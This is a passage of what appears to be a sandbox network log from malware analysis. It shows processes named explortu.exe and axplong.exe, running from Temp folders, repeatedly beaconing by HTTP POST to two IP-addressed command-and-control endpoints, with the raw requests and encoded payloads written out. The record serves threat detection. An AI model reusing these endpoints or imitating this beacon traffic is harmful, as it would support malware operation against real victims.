Jun 20, 2024 15:38:56.604233980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:56.604967117 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:56.831387997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49847	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:55.957824945 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:56.636579037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:56.637206078 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:56.845743895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49848	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:56.942568064 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:57.630390882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:57.631563902 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:57.851011992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49849	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:56.958225965 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:57.623035908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:57.623974085 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:57.831513882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49850	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:58.049710989 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:58.747417927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:58.748238087 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:58.959068060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49851	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:58.053385973 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:58.756042957 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:58.756544113 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:58.971806049 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49852	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:59.070719957 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:59.745119095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:59.746587992 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:59.954400063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49853	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:59.084709883 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:59.766477108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:59.767230988 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:38:59.982572079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49854	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:00.067682028 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:00.747374058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:00.748226881 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:00.954684019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49855	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:00.103460073 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:00.780457973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:00.781121016 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:00.994313955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49856	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:01.066845894 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:01.757632017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:01.762185097 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:01.979114056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49857	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:01.217833042 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:01.882742882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:01.888402939 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:02.103583097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49858	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:02.106414080 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:02.810276031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:02.810965061 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
